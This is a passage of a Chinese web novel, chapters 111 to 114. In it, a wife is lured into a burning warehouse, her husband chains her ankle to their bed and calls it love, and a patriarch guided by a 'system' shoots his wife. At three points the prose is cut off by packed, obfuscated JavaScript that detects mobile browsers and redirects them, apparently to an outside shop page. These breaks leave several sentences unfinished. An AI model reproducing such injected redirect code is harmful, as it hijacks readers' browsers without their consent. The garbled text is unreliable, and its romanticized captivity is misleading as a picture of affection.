但是还是牢牢控制着时桧防止他突然暴起伤人。 “十九嫂,十九哥出事了!你快去救救他!”时桧的声音嘶哑,带着哭腔。 眼泪混合着脸上的血水往下流,看起来凄惨极了。 孟昭月的心猛地跳了一下。 阿卿出事了? 一时间她的大脑一片空白。 冷静,冷静…… 别着急。 她下意识抓紧了衣角,努力冷静了下来。 声音有些颤抖地问:“阿卿……阿卿他怎么了?” “十九哥……他对兄弟姐妹们下手,被父亲的人……控制起来了……” 时桧喘着粗气,断断续续地说道。 “十九哥以前救过我,我不能眼睁睁看着他死……” 孟昭月杏眼一瞬不瞬地盯着时桧。 在震荡的心神里努力维持着思维。 阿卿那么厉害,怎么会被轻易控制? 而且时费现在还需要阿卿去对付时莉莉,怎么会突然翻脸? 她担心时卿舟,但是又怕这是什么陷阱。 她沉默,然后拿出手机,拨通了时卿舟的电话。 “嘟——嘟——嘟——” 电话那头传来忙音,无人接听。 孟昭月咬了咬嘴唇,手指有些颤抖地拨通了姜玦的号码。 同样是无人接听。 她又试了秦御的,甚至试了几个时卿舟之前留给她的紧急联系人的号码。 全都没有回应。 一种不祥的预感在她心头蔓延。 这太反常了。 阿卿从来不会不接她的电话,就算他在忙,其他人也总该有个人接的吧。 “怎么会这样……”孟昭月眼圈都红了起来,看向旁边的武装人员。 “辛苦你去叫一下苏晓,还有再联系一下阿卿看看。” 很快,一个武装人员带着苏晓过来了。 另外一个握着卫星电话的武装人员则有些着急的回复: “少夫人,我们的通讯频道刚才也受到了干扰,暂时联系不上总部。” 孟昭月的心沉了下去。 她转头看向苏晓。。 “苏晓,你能联系上吗?”孟昭月的声音带着一丝颤抖的哭音。 苏晓正在操作一个平板,脸色有些难看。 “少夫人,内部网络被锁**,我也联系不上少爷和姜特助。” 所有的联系方式都断了。 可能真出事了…… 她重新看向地上的时桧。 “他身上的伤……”孟昭月轻声问道。 旁边的武装人员队长立刻解释道:“少夫人,庄园外围有自动防御系统。” “任何闯入的人,少爷吩咐过,格杀勿论。” 见孟昭月还在怀疑,时桧焦急极了,他挣扎着从怀里掏出一个沾血的手机。 颤抖着点开一个视频,递到孟昭月面前。 “嫂子,这是我逃出来之前拍的!” 视频里是一个昏暗的仓库,可以明确地看到时卿舟被绑着,全身是血。 孟昭月的脸色立刻就白了。 她大脑顿时一片混乱。 阿卿…… “嫂子,没时间了!” “父亲这次是下了死手,十九哥被关在一个秘密仓库里,我知道在哪里!” “我们得快点去救他!” 孟昭月连忙就要往外赶。 “我要去救他!他在哪?带我去!” “少夫人!您不能去!”武装人员队长立刻拦住了她。 “少爷吩咐过,无论发生什么事,您都不能离开别墅一步!” “可是阿卿他……”孟昭月握紧了时桧的手机:“那你们能分点人手去看一下吗?” 队长现在也很慌张,通讯完全失效。 这种情况之前完全都没有。 少爷大概率是出问题了。 但是无论如何他们都会严格执行少爷的命令。 “少夫人,对不住了,没有少爷的命令,黑水是不会调动的。” “你们几个,先把少夫人带回去!” 孟昭月被送回了屋内。 她咬了咬唇,翻出一套轻便的衣服。 过了一会。 孟昭月偷偷重新潜了出去。 时卿舟教过她怎么避开监控死角。 她在雪地里深一脚浅一脚地走着,很快就到了别墅的后门。 那里,时桧正躲在一辆不起眼的黑色轿车旁等着她。 “嫂子!这里!” 时桧似乎已经包扎过了,看到她,他眼睛一亮,连忙打开车门。 孟昭月再看了一眼时桧,握紧了藏在腰间的**。 钻进了车里。 车子启动,迅速消失在茫茫夜色中。 终于,那个废弃的化工厂出现在视野中。 “就在……就在那个仓库里……”时桧指着最里面的一间厂房,喘着粗气说道。 她用力推开那扇生锈的铁门。 空的。 她几乎是同一瞬间就意识到不对劲。 然后转身就想撤出去。 但是却被人用力推了一把,被推了进去。 随后“嘭”,仓库的大门关上了。 …… 京江市中心,云顶会所。 时费坐在真皮沙发上,手里端着一杯红酒,怀里搂着一个身材火辣的美女。 白岺乖巧地跪坐在他脚边,正专心地为他剥着葡萄。 “叮。” 放在桌上的手机亮了一下。 时费拿起手机,看了一眼屏幕上的来自黑水的信息,嘴角勾起一抹满意的弧度。 「先生,时卿舟已清理。」 他放下手机,心情大好地举起酒杯。 对着窗外漫天的风雪和璀璨的灯火,轻轻晃了晃。 白岺将剥好的葡萄递到他嘴边,柔声说道:“费哥今天怎么这么开心呀?是有什么喜事吗?” 时费哈哈大笑,伸手捏了捏白岺的脸蛋:“当然是喜事。” “我一直想要的东西,终于要到手了。” 他站起身,走到落地窗前。 他得到了他想要的。 而知情人被他清理干净了。 这世间只有他一个人掌握着这个无数人渴望的秘密。 他在心里说:你说对吧,系统。 下一秒,一行淡蓝色的字体出现在落地窗上。 【是的,宿主。】 时费将跟过来的白岺搂到怀里:“看到了吗?这就是神迹!” 白岺疑惑的看了看时费面前的玻璃。 然后摇了摇头:“费哥,你在说什么呀?” “我怎么什么都没看到?” “你看不到是正常的。”他抚摸着白岺光滑的后背,声音低沉,“因为这是只属于神明的视野。” 他抬起手中的空酒杯,对着窗外风雪中的摩天大厦,做了一个碰杯的动作。 “敬权力。” “敬永生。” “敬……我自己。” 他的笑声在空旷的房间里回荡。 …… 废弃仓库内。 孟昭月用力拍了拍仓库的大门。 “时桧!” 门外传来时桧的声音:“十九嫂,你很谨慎,也很聪明。” “我差点就没能把你从时卿舟那个疯子的堡垒里骗出来。” “但是都没有用,最后的胜利者是我。” “阿卿他没有事?”孟昭月放下手,盯着门问。 那怎么会联系不上? 时桧显然没想到孟昭月问的是这个问题。 他顿了顿下意识道:“他?谁知道呢?” 随即他反应过来,又恶狠狠道:“无论如何你今天必须死在这里。” 孟昭月闻言心又重新吊了回去。 阿卿的安全还是未知。 她甚至第一反应不是先思考自己的安全。 孟昭月一边观察着周围的环境寻找出口,一边问:“那个视频……” “AI合成的。”时桧轻笑。 孟昭月:“……” 她怎么忘了还有AI这一茬。 很快门外传来了嘈杂的脚步声和说话声。 “都准备好了吗?”是时桧的声音。 “放心吧,二十弟!”一个声音回答道。 随后是咬牙切齿的声音: “好!很好!” “时卿舟那个疯子,把我们赶尽杀绝。” “一个**生的杂种!” “今天我就要弄死他最心爱的女人,让他也尝尝这种痛苦!” “把油泼上去!多泼点!” “点火!” 火光骤然亮起。 紧接着,一股浓烟顺着门缝钻了进来。 “咳咳……”孟昭月被呛得咳嗽起来。 她能感觉到,周围的温度正在迅速升高。 火舌舔舐着铁门,发出噼里啪啦的声响。 很快火焰将整个仓库包围。 浓烟滚滚。 孟昭月捂住口鼻,步步后退。 高温扭曲了空气,眼前的景象开始变得模糊。 这种感觉……好熟悉。 大火。 漫天的大火。 无数破碎的画面突然涌入她的脑海。 她的脑海里,突然闪过一些破碎的画面。 熊熊燃烧的烈火,炽热的温度,窒息的浓烟…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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风雪中,一个高大的身影正朝她跑来。 是时卿舟。 她的脑袋有点晕。 好像有些看不清他了。 她努力的伸出手,抚摸上他的脸颊。 指尖传来的触感,真实而温暖。 “真的是……” 她虚弱地笑了笑,声音轻得像风中的雪花。 “生生世世呐,时卿舟。” 说完这句话,她的手无力地垂了下去,彻底陷入了昏迷。 …… 睁眼。 入目的是一片漆黑,借着月光,勉强辨认。 这里是别墅的主卧。 孟昭月眨了眨眼,然后转过头。 然后,她看到了时卿舟。 男人坐在床边的单人沙发上。 他没有开灯,整个人几乎融化在浓重的阴影里。 他就那么直勾勾地盯着她。 一种非常非常可怕的眼神。 像是浓稠的深渊,黏腻的附着在她的身上。 拖着她不断往下坠落。 “阿卿?” 她下意识的开口。 时卿舟没有回应。 他甚至连眼睫都没有颤动一下。 他依然死死地盯着她。 目光从她的眼睛,滑落到她的鼻尖,再到她苍白的嘴唇。 最后停留在她脖颈上那处随着呼吸微微起伏的脉搏上。 他在确认她是活着的。 此刻的他,好像剥离了所有的人性伪装。 只剩下一个被绝望和暴戾填充的空壳。 孟昭月莫名被他看得头皮发麻。 被野兽锁定的危险感。 她对着时卿舟甜甜笑了笑:“我没事啦,阿卿不要担心” 声音还很沙哑。 她想要坐起来,手臂刚撑起一点身体,却发出一声清脆的金属撞击声。 “哗啦。” 她愣住了。 顺着声音看去。 她的左脚脚踝上,多了一个东西。 一个银色的、泛着冷光的金属环。 金属环连着一条细长的银色链子,链子的另一端,没入了床尾,不知连接在何处。 这是……镣铐? 孟昭月眨了眨眼睛。 她看看那个冰冷的金属环,又抬头看向时卿舟。 时卿舟终于有了反应。 他缓缓地站起身。 一步一步地走到床边。 随着他的靠近,那股压抑的气息逼来。 他伸出手。 指尖冰凉,触碰到她温热脸颊的瞬间,孟昭月不受控制地瑟缩了一下。 时卿舟的手指停顿了一下,随即,捏住了她的下巴,强迫她抬起头,直视他的眼睛。 “醒了?” 他的声音低沉沙哑。 没有半分的温柔。 只有一种令人窒息的平静。 “我说过的。” “不要离开别墅。” “宝宝。” 第112章 被囚禁的神明 孟昭月乖巧地看着眼前的男人。 他坐在床边的阴影里,周身压抑。 那双漂亮的桃花眼此刻幽深得如同没有星光的夜空。 沉沉地压在她的身上。 “阿卿……” 她眨了眨眼。 像是一块棉花糖,试图融化这满室的阴郁。 “是生气了吗?” 时卿舟没有立刻回答。 他低眉看着她,眸色晦暗不明。 那视线如有实质般在她的脸上寸寸巡视。 他就这么看了很久。 终于,他伸出手。 粗粝的指腹重重地按压在她的唇瓣上,用力地摩挲着。 直到那两片柔软的唇肉泛起艳丽的红。 “是。” 他的声音沙哑得厉害。 孟昭月没有躲避他的动作,只是乖巧地看着他。 “我以为阿卿出事了。” 那双杏眼湿漉漉的。 无辜依赖。 “情急之下才跑出去的。” 时卿舟的手指停了下来。 他的看着女孩乖巧的模样,眸色愈来愈深。 “我之前说过。” 他缓缓抽收回手,轻轻摩挲着自己的指腹。 像是在回味刚刚的触感。 “如果宝宝再为了我没有保护好自己。” “比如挡在我身前。” “我会把你……” 话音未落,他猛地俯身。 双手撑在她的身体两侧。 将她死死地困在自己与床铺之间。 他那双桃花眼微微眯起,眼尾泛着危险的红。 “你知道我要说什么的。” 他的声音低沉,带着某种令人战栗的威胁。 “你很不乖,宝宝。” 孟昭月看着近在咫尺的俊脸,眨了眨眼。 脸上的表情越发无辜了。 “对不起哦,阿卿。” “我下次不会了。” 时卿舟看着她,喉结上下滚动了一下。 “不怪你。” 他低下头,额头抵着她的额头。 “是我太过放纵你了。” “是我没有把你关好。” “所以……” 他轻轻吻了吻她,然后直起身,居高临下。 “之后,月月就不要离开这里了。” “每天乖乖在这里,等我回来。” 孟昭月沉默了一会儿。 她看着他,目光扫过他紧绷的下颌线,又落在他那双满漂亮的桃花眼上。 然后,她歪了歪头,脸上露出了一个的笑容。 甜美而纯洁。 “乖乖待在床上,等阿卿回来享用吗?” 空气在那一瞬间凝固了。 时卿舟看着身下这个。 一脸乖巧纯洁地突然开上高速的小姑娘。 大脑出现了短暂的空白。 他罕见地沉默了一会儿,似乎在消化这句话带来的冲击。 过了好几秒,他才找回自己的声音。 “我说的是……在卧室里。” 孟昭月闻言,眨了眨眼,毫不掩饰地露出了遗憾的表情。 “哦。” 和某些时候时卿舟的表情一模一样。 随即,她又重新挂上了那副乖巧的笑容。 还带着几分女儿家的腼腆与不好意思。 “不好意思哦,我被我老公带坏了。” 时卿舟:“……” 他深吸了口气,随后勾起了一抹温柔的笑意。 危险的气息又压了过去。 “月月想在床上等……” 他按着她肩膀的手松开,沿着她纤细的手臂慢慢往下。 指尖划过皮肤,带来一阵酥麻的痒意。 孟昭月觉得有些痒,下意识地把手往旁边挪了挪。 然而,下一秒,她的手就被一只温热的大手一把抓住。 时卿舟强势地扣住她的手指。 与她十指相扣,掌心紧贴,不留一丝缝隙。 “毕竟,我也很乐意享用……” “月月这块香香软软的小蛋糕。” “对病号下手不礼貌哦。”孟昭月小声**道。 时卿舟微微勾唇。 他一手撑在她的身侧,另一只手紧紧握着她的手。 他将她的手送到自己唇边,在她的手背上落下了一个吻。 “那你就乖一些。” 他的唇瓣贴着她的肌肤,声音低沉而缱绻。 “别再离开,也别再躲我。” 说完,他松开了她的手,重新直起身子。 “我去让人送些吃的上来。” 就在他转身准备离开的时候,身后传来了女孩软软糯糯的声音。 “阿卿。” 时卿舟停下脚步。 孟昭月坐了起来。 “我想起来了。” 她说。 “以前的事情。” …… 时家庄园,东翼,夫人的衣帽间里。 林爱娥站在展示柜前,那双保养得宜的手,正漫不经心地抚摸着首饰盒里一条红宝石项链。 这是不久前从南非那边送来的。 为了拿到这批原石,负责押运的第七小队全军覆没。 只有队长拼死带回了这一个盒子。 当时流满血的草原上,比这红宝石还艳丽。 “夫人……还是没有找到时莉莉小姐。” “自从上次莉莉小姐去赴孟家大小姐的邀约后,就失去了联系。” “武装组那边的人说了,没有任何线索。” 林爱娥的身后,是一个女仆躬身汇报着, “还没找到啊……” 她将项链戴在脖子上,左右端详着。 指尖轻轻拨弄着那价值连城的红宝石。 “这孩子,怎么这么不让人省心呢。” “玩也该玩够了吧。” 她叹了口气,语气里却听不出多少焦急。 反而带着一种淡淡的遗憾。 毕竟一件趁手的工具没了,还是有些可惜的。 “夫人……”女仆犹豫了一下,还是硬着头皮继续汇报。 “另外,近期家族内部……有些不太平。” “八少爷在欧洲遭遇车祸,当场身亡。” “九少爷在澳洲冲浪时失踪,至今下落不明。” “还有十三少爷和十四小姐……” “前几天六少爷……被仇杀了,死状惨烈,凶手已经移交警局了。” 女仆的声音越来越小。 短短几天之内,时家的少爷小姐接连意外去世。 这其中的诡异和恐怖,足以让任何知情人心惊胆战。 然而,林爱娥听完这些,脸上的表情却没有任何变化。 她欣赏着镜子里依然年轻娇嫩的自己,这张脸已经砸了上亿元保养。 “时家什么时候没**?” 她轻笑一声。 她重新取下脖子上的红宝石项链,随手丢给旁边的女仆。 “这个颜色太艳了,衬得我脸色不好。” “拿去丢了吧。” 女仆手安静地接住那条价值连城的项链。 林爱娥重新将目光投向那个琳琅满目的首饰盒。 手指在那些璀璨的珠宝间穿梭。 挑选着下一个心仪的玩物。 “在这时家,哪个人不疯?” 她重新戴上一串项链。 “今天你踩着别人的尸体上去,明天别人就踩着你的尸体上来。” “总有新的高台垒起来,也总有旧的高台崩塌。” “我们能做的……” 她对着镜子露出了一个完美雍容的笑容。 “就是享受当下。” “至于那些**的……只能怪他们命不好,没那个福气享受这一切。” “你说对吧?” 女仆迅速跪在地上,额头紧贴着冰冷的地板。 “夫人说的是。” …… 时卿舟的别墅,主卧。 孟昭月那句甜甜软软的话似乎还在空气中飘荡。 而时卿舟的动作僵住了。 他背对着孟昭月,维持着那个准备离开的姿势。 某种情绪在他的身上缠绕,翻滚,最后又被压抑。 他缓缓地转过身。 那双桃花眼看着她,眼中如墨一般浓稠。 “你想起了什么?” 他沙哑的声音,似乎有些颤抖。 孟昭月乖乖地笑了笑。 “我想起了我们分手。” “想起了我住在时家庄园的日子。” “想起了我们的婚礼。” “还有……” “神。” 时卿舟慢慢地走回床边,在原来的位置坐下。 伸出手,指尖轻轻触碰她的脸颊。 很凉。 他的神情平静,指尖却在颤抖。 “除了这些呢?” 他的声音没有什么波动,却让人感到一种窒息的压抑。 “还有没有想起其他的?” 比如她在他身下的不断挣扎。 比如她被他打断的双腿。 比如她捅他的三刀。 还有那个无菌地下室。 孟昭月愣了愣。 她歪着头,认真地思索了一下。 “没有诶。” 她摇了摇头。 “就是这些啦。” “从那个雨天的相遇,到婚礼那场大火的结束。” “我就只想起了这些。” 时卿舟看着她,桃花眼死死地盯着她。 随后。 他猛地俯身吻住了她 吻得深而重。 “乖……” 他在她唇齿间呢喃。 他的吻逐渐往下,沿着她优美的颈线,一路蜿蜒。 最后,他将整张脸都埋入了她的颈侧。 “月月……” 她听到了他低沉沙哑的声音。 孟昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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孟昭月疑惑:“哪天?” 时卿舟笑了笑,没有回答。 他低下头,撩起了孟昭月的裙摆。 “咔嚓。” 剪刀剪断布料的声音清脆响起。 然后他放下裙摆,将“脱”下来的底裤丢到了脏衣篓中。 那块布料上还带着她的体温和淡淡的香气。 她接过时卿舟递来的、一条侧绑带式的,不解地问: “都已经剪坏了,干嘛还丢脏衣篓?” “直接扔垃圾桶不就好了?” 时卿舟看着她,那双桃花眼里闪烁着某种意味深长的光芒。 “还有用。” 孟昭月:“???” “还有什么用?” 时卿舟没有说话,只是对她温温柔柔地笑了笑。 那个笑容里包含的内容太丰富,让孟昭月本能地觉得…… 还是不要知道比较好。 时卿舟没有再解释,而是单膝跪下。 拿起一双毛茸茸的拖鞋,帮她穿上。 孟昭月调皮地晃了晃那只被绑着链子的脚。 金属链子发出哗啦啦的声响。 “戴着这个,连裤子都穿不了了。”她抱怨道。 时卿舟一把抓住了她乱晃的小脚。 温热的手掌包裹着她微凉的脚踝。 “那就穿裙子。” 他抬起头,目光从她的小腿一路上移,最后停留在她的脸上。 “月月穿裙子也好看的。” “而且也……” 他的视线在她身上转了一圈,眼神暗了暗。 “方便。” 孟昭月脸一红,气鼓鼓地瞪了他一眼。 这家伙,脑子里整天都在想些什么废料! 她转移话题,指了指脚上的金属环:“这个是定制的?” 时卿舟轻轻抚摸着那冰冷的金属。 “是的。” “镣铐部位加了软垫,不会咯到月月。” 他说着,低下头,在那冰冷的镣铐上,落下了一个虔诚的吻。 就像是在亲吻向神明献祭的圣物。 然后,他保持着单膝跪地的姿势,抬头仰视着孟昭月。 那双桃花眼里,盛满了浓烈的、毫无保留的爱意和占有欲。 “乖乖在这里,别再离开了。” “好不好?” 像最忠诚的信徒。 向他的神明祷告。 向被他囚禁的神明祷告。 孟昭月低头看着他。 她喜欢他这样满眼都是自己的模样。 多么乖巧。 多么虔诚。 多么属于她。 她伸出手,轻轻摸了摸他的脸颊。 脸上的笑容愈发的乖巧甜美。 “好呀。” “那你要一直这样,乖乖看着我哦。” 时卿舟闻言,眼底的浓稠的笑意瞬间绽放。 他低下头。 脸颊在孟昭月的膝盖上轻轻蹭了蹭。 “我一直在看着你。” “一直。” 第113章 时卿舟,有啵啵嘛 时卿舟的“死亡”似乎也不全是坏事。 他有了更多的时间来陪着孟昭月。 这个男人几乎是粘在孟昭月身上了。 穿衣洗澡全部是他亲手来帮孟昭月,连吃饭都是要抱着她喂她。 不过他也偶尔要离开别墅处理一些事情。 这天时卿舟很早就离开了。 傍晚的余晖将别墅前的积雪染成了暗淡的橘红色。 黑色的防弹越野车碾过碎石路面,稳稳停下。 时卿舟从车上走了下来。 院子里负责警戒的武装人员看到,立刻收枪安静地敬礼。 姜玦紧跟在时卿舟身后下车,手里提着一个保温袋。 他语速极快地汇报着:“先生,孟廷凛那边今天又发来了三次消息。” “要将‘丧夫’的孟小姐接回娘家照顾。” “措辞比之前更激烈了。” 时卿舟迈上台阶的脚步没有丝毫停顿。 他抬起手,慢条斯理地摘下脸上的墨镜和口罩,随手递给迎上来的女仆。 “不用理会。” “把消息全部压下来,做冷处理。” 他接过另一名女仆递来的热毛巾,仔细地擦拭着修长的手指。 “等这阵子结束,我亲自回复他。” 姜玦立刻躬身:“是,明白了。” 时卿舟将毛巾丢回托盘:“少夫人呢?晚餐吃了吗? 女仆长低着头,恭敬地回答: “回先生,少夫人说不太饿,晚餐还没用。” “刚才苏晓送了些水果上去。” 时卿舟闻言,眉头微微蹙起。 又不好好吃饭。 他看了一眼姜玦。 姜玦立刻从保温袋里取出奶茶,双手递给时卿舟。 …… 二楼的主卧内,暖气很足,温暖如春。 孟昭月窝在落地窗前的单人沙发里,身上盖着一条柔软的羊绒毯子。 她手里拿着一把银质的小叉子,正慢吞吞地叉起一块切好的哈密瓜送进嘴里。 翻看着腿上摊开的一本财经杂志。 苏晓正坐在一旁的小圆凳上,手里拿着一把水果刀,熟练地削着苹果。 「星辉娱乐最新大制作电影《红颜旧梦》即将开拍。」 「女主角敲定当红小花李菲菲……」 苏晓听到这个名字,笑了一声:“这位啊,我倒是认识。” 孟昭月有些意外地看向她:“你也追星吗?” 苏晓摇了摇头,将削好的苹果切成小块,放在盘子里推到孟昭月面前。 “我不追星。” “不过,之前Dp拍卖行那边,刚收了一批关于她的‘货’。” 孟昭月拿着叉子的手一顿。 Dp拍卖行…… 前世她参加拍卖会时,当时有一件拍品就是林菲菲的私房照。 “这电影的编剧就是孟婉凝。”苏晓继续说道。 “听说最近江家和孟家那边闹得挺凶的。” “江浩宇那边的长辈,逼着孟婉凝和江浩宇结婚。” “不过都被孟廷凛给强行压下来了。” 孟昭月叉起一块苹果,有些疑惑:“就因为……江浩宇和孟婉凝发生了关系?” 她后来才知道当时那个**男就是江浩宇。 “一半一半吧。”苏晓耸了耸肩。 “还有一个原因,是江浩宇那个同为嫡系的表哥不是回去了吗?” “估计江浩宇那一系的人感觉到了压力。” “急着想通过和孟家联姻来巩固地位。” “所以才趁这个契机咬着孟婉凝不放。” 孟昭月若有所思地点了点头。 就在两人闲聊的时候,房门被推开了。 苏晓立刻站起身,对着门口的方向恭敬地行了一礼。 “少爷。” 时卿舟对着苏晓随意地摆了摆手。 苏晓立刻收拾好水果刀和果皮,安静迅速地退出了房间,顺手带上了门。 房间里只剩下了两个人。 时卿舟没有立刻走过去。 他站在门口,静静地看着窝在沙发里的女孩。 她穿着一声白色的连衣裙,就那么乖巧呆在那里。 她的脚踝上,那个银色的金属环泛着冷冽的光泽。 细长的链子从脚踝延伸出去,没入床底的固定点。 随着她晃动小腿的动作,链子发出轻微的、清脆的撞击声。 那是被囚禁的证明。 也是他的爱意的象征。 时卿舟看着,眼中满是病态的痴迷。 她是他的神明。 被他拉下神坛,囚禁在这个只属于他的方寸之地。 孟昭月看到时卿舟进来了,那双干净的杏眼弯成了两道月牙。 “阿卿。” 她软软地唤了一声。 这一声呼唤,化开了时卿舟眼底的痴迷。 他迈开长腿,大步走了过去,将手里的奶茶放在了茶几上。 “给你的。” 孟昭月看到奶茶,眼睛瞬间亮了起来。 “谢谢阿卿!” 她伸出手,正准备去拿那杯奶茶。 然而,她的手还没碰到杯子,一个高大的身影就挤了过来。 然后被时卿舟直接捞进了怀里。 孟昭月被迫坐在他的怀里,后背紧紧贴着他宽阔坚实的胸膛。 时卿舟双臂锢紧她的腰,低下头,像往常一样,将脸埋在她的颈窝处。 深深地、用力地吸了一口气。 近乎贪婪的嗅闻,仿佛要将她身上的气息全部吸入肺腑。 “真香……” 他满足地喟叹一声,脸颊在她细腻的肌肤上依恋地蹭了蹭。 “不用谢。” 他的声音就在她耳边,低沉磁性。 “你没吃晚饭?” “怎么又不好好吃饭?嗯?” 孟昭月一边努力地伸手够桌子上的奶茶,一边小声地辩解。 “那个……零嘴吃多了嘛……” 奶茶够不到…… “还不饿……” 时卿舟在家的时候,总是管着她的一日三餐,盯着她吃这吃那。 她乖乖听话。 可是今天他出去办事了,没人管着。 她就忍不住放纵了一下,吃了好多苏晓拿来的零食。 时卿舟闻言,不轻不重地在她腰间的软肉上掐了一下。 “不听话。” “呀!”孟昭月惊呼一声,身子软了软。 她连忙转过头,可怜兮兮地看着他。 “阿卿……我错了嘛……” 她伸出小手,拉了拉他的衣袖。 “你帮我拿一下奶茶好不好?求求你了……” 那双水汪汪的大眼睛眨啊眨。 时卿舟瞬间就满足了。 他伸手把奶茶插好吸管,递到了她的嘴边。 孟昭月开心地凑过去,咬住吸管,猛吸了一大口。 香甜的芋泥和软糯的珍珠在口中化开,她幸福地眯起了眼睛。 她咽下奶茶,转过头,看着时卿舟,腼腆地笑了笑。 “芋泥波波奶茶有了,那……” “有啵啵嘛?” 时卿舟愣了一下。 随即,他那双桃花眼里的颜色,瞬间暗了下来。 …… 时家庄园,后山的草坪上。 寒风凛冽,卷着地上的残雪飞舞。 时费手里端着那把Holland&Holland皇家级**枪,正对着天空。 “放!” 随着他一声令下,不远处的抛靶机弹射出一枚橙色的飞碟。 “砰!” 飞碟在空中炸裂成无数碎片。 这时身后传来了一阵脚步声。 “费哥,这么有兴致?” “找我来有什么事?” 是林爱娥。 时费没有回头,只是继续道: “放。” 又是一枚飞碟弹射而出。 “砰!” 林爱娥也不恼他的冷淡。 她走到一旁的休息椅上,施施然坐下。 她语气懒洋洋地开口: “说起来,小二十五她生母,刚才**了。” “我已经让管家处理了。” 林爱娥拢了拢身上的大衣:“说是因为女儿在花园里‘意外’冻**,没想开。” 时费的射击没有丝毫停顿。 “二十五的生母是谁?” 他的女人太多,孩子也太多。 林爱娥想了想:“好像是个京江大学的研究生吧。” “之前你作为优秀校友去京江大学演讲,那时候认识的。” 时费一边重新往枪膛里压**,一边漫不经心地应了一声。 “知道了。” 他合上枪膛,发出“咔哒”一声脆响。 “爱娥。”他突然开口,语气平淡。 “你站到前面去。” 林爱娥愣了一下,但还是习惯性地服从命令。 起身,踩着积雪走到了那片开阔的雪原中央。 一片银装素裹里,她一身华贵的皮草,妆容精致,站在雪原的正中央。 像是一朵盛开在寒冬里的富贵花。 时费突然感慨了一句:“结婚这么多年了,你倒是没怎么变化。” 林爱娥轻笑一声: “是啊。” “这么多年,你身边女人无数。” “只有我,一直安稳地坐在当家主母的位置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16860105|188077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。” “那些女人不过是玩物。” “只有我们,才是同一个世界的人。” 时费没有说话。 他只是慢慢地、稳稳地举起了手中的那把老式**。 对准了林爱娥。 然后在她放大的瞳孔下,开了枪。 “砰!” 一声巨响,在空旷的草坪上炸开。 林爱娥倒在雪地上,鲜红的血液染红了身下的纯白积雪。 红白相间。 像一朵盛开在雪地里妖冶的花朵,托举着她逐渐流逝的生命。 她痛苦地喘息着,瞪大眼睛,看着那个男人一步一步地朝她走来。 “同一个世界?”男人的声音漠然。 然后她看到黑漆漆的枪口对着她的额头。 “不,爱娥。” “我去的地方,你这种凡人,去不了。” “砰。” 又是一声枪响。 …… 当时费带着枪,路过窗户时,玻璃上缓缓浮现出一行淡蓝色字体。 【恭喜宿主,任务完成。】 【任务奖励已发放至书房保险柜。】 时费看着那行字,脸上露出了一个近乎狂热的笑容。 …… 另一边,时卿舟的别墅。 时卿舟轻轻放下奶茶,盯着怀里的女孩。 那双桃花眼里的暗色,如同打翻了的浓墨,迅速晕染开来。 “宝宝……是想要吗?” 他的手慢慢抬起,温热的指腹轻轻摩挲着孟昭月的脸颊。 从耳根滑落到下颌,最后停留在她柔软的唇角。 孟昭月乖巧地眨了眨眼:“想呀。” 话音刚落,她的后脑勺就被一只大手猛地扣住。 时卿舟俯下身,含住了她的唇。 于是,链子的响声便没有停下过。 …… 不知过了多久。 时卿舟抱着已经清理干净的孟昭月,窝在卧室的沙发上。 他手里拿着一个小叉子,正一块一块地喂她吃切好的水果。 孟昭月无力地在他怀里,累得不行。 乖巧地张嘴,吃下他递过来的每一块水果。 时卿舟语气似笑非笑:“下次知道好好吃饭了?” 声音里带着餍足后的慵懒。 孟昭月小鸡啄米一般连连点头。 “好吃吗?”时卿舟轻笑一声。 “好吃。”孟昭月腮帮子鼓鼓的。 时卿舟语气温柔: “那吃完饭再来一次。” 孟昭月正在嚼水果的动作猛地一顿,差点没被呛到。 她瞪大了眼睛,不可置信地看着他。 时卿舟依旧语气温柔地解释了一句:“我没吃饱。” 孟昭月:“……” 这个男人……简直是铁打的吗?! “不……不行!”她连忙**,伸手推了推他的胸膛。 “我……我还是病号呢!” “医生说了要静养!” 时卿舟闻言,挑了挑眉。 他舀了一勺小蛋糕,递到她嘴边。 “要我给时太太念一下她最新的检查报告吗?” 他似笑非笑地看着她。 “各项指标正常,身体机能恢复良好,甚至……比以前更健康了。” 孟昭月:“……” 她立刻就闭嘴了,她乖乖地张口吃掉了那块蛋糕。 时卿舟看着她吃得嘴角沾上了奶油,眼神暗了暗。 他低下头,轻轻舔去了她嘴角的奶油。 孟昭月脸颊瞬间通红。 “挺好吃的。” 他意犹未尽地舔了舔唇,那双眼睛却始终盯着她。 也不知道他说的好吃到底指的什么。 孟昭月觉得自己整个人都要烧起来了。 时卿舟见好就收,没有再继续逗她。 他重新将她抱进怀里,下巴抵着她的头顶。 “月月,过两天,陪我参加一个宴会吧。” 孟昭月愣了一下,随即警惕地抬起头。 “你不准偷偷背着我去见孟婉凝!” 她顿了顿,然后又凶着补充了一句。 “其他女人也不准见!” 时卿舟看着她这副护食的模样,忍不住轻笑出声。 他自然知道她是想起以前那些不愉快的经历了。 “不会的。” 他亲了亲她的额头,语气郑重而温柔。 “只是时家普通的家宴罢了。” “我想让大家都见见我的宝贝妻子。” 也见见…… 时家未来的女主人。 时卿舟想着,勾起了一抹笑意。 所有的一切都准备得差不多了。 这场戏,是时候该落幕了。 第114章 血色宴会:**和王后 时家庄园,主楼书房。 时费坐在皮椅中,指间是刚从保险柜里取出的药丸。 这是“系统”发放的奖励。 也是他通往永生的钥匙。 他没有丝毫犹豫,仰头将药丸吞了下去。 很快,书房的门被推开。 几名他手下的医疗人员推着精密的检测仪器鱼贯而入。 各种仪器被打开。 “先生,您的心肺和骨密度恢复到了四十岁时的水平,细胞活性……简直不可思议。” 